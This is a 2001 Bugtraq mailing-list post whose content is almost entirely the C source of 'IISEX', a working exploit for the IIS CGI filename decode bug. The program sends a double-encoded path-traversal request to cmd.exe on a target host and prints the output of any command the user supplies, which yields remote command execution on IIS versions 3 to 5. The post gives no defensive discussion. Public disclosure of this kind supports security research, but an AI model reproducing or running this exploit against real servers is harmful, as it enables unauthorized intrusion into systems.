iis exploit (fixed)
Date: Wed, 16 May 2001 03:53:42 +0100
From: Hux Flux <huxflux2001@hotmail.com>
To: bugtraq@securityfocus.com
Subject: iis exploit (fixed)
This is the fixed iis exploit
^^^--------- iisex.c starts here-------^^^^
/* IISEX by HuXfLuX <huxflux2001@hotmail.com>. IIS CGI File Decode Bug
exploit. Written 16-05-2001.
Compiles on Linux, works with IIS versions 3, 4 and 5. Microsoft's
products were always
famous for their backward compatibility!
You can change the SHOWSEQUENCE value to some other strings that also
work.
More info: http://www.nsfocus.com
Thanx to Filip Maertens <filip@securax.be>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#define SHOWSEQUENCE "/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+"
int resolv(char *hostname,struct in_addr *addr);
int main(int argc, char *argv[])
{
struct sockaddr_in sin;
struct in_addr victim;
char recvbuffer[1], stuff[200]="";
int create_socket;
printf("IISEX by HuxFlux <huxflux2001@hotmail.com>\nThis exploits
the IIS CGI Filename Decode Error.\nWorks with IIS versions 3, 4 and
5!.\n");
if (argc < 3)
{
printf("[?] Usage: %s [ip] [command]\n", argv[0]);
exit(0);
}
if (!resolv(argv[1],&victim))
{
printf("[x] Error resolving host.\n");
exit(-1);
}
printf("\n[S] Exploit procedure beginning.\n");
if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 )
printf("[*] Socket created.\n");
bzero(&sin,sizeof(sin));
memcpy(&sin.sin_addr,&victim,sizeof(struct in_addr));
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
//sin.sin_addr.s_addr = inet_addr(argv[1]);
if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0)
printf("[*] Connection made.\n");
else {
printf("[x] No connection.\n");
exit(1);
}
strcat(stuff, "GET ");
strcat(stuff, SHOWSEQUENCE);
strcat(stuff, argv[2]);
strcat(stuff, " HTTP/1.0\r\n\r\n");
printf("[*] Sending: %s", stuff);
memset(recvbuffer, '\0',sizeof(recvbuffer));
send(create_socket, stuff, sizeof(stuff), 0);
if ( strstr(recvbuffer,"404") == NULL ) {
printf("[*] Command output:\n\n");
while(recv(create_socket, recvbuffer, 1, 0) > 0)
{
printf("%c", recvbuffer[0]);
}
printf("\n\n");
}
else printf("[x] Wrong command processing. \n");
printf("[E] Finished.\n");
close(create_socket);
}
int resolv(char *hostname,struct in_addr *addr)
{
struct hostent *res;
if (inet_aton(hostname,addr)) return(1);
res = gethostbyname(hostname);
if (res == NULL) return(0);
memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr));
return(1);
}
^^^--------- iisex.c ends here-------^^^^
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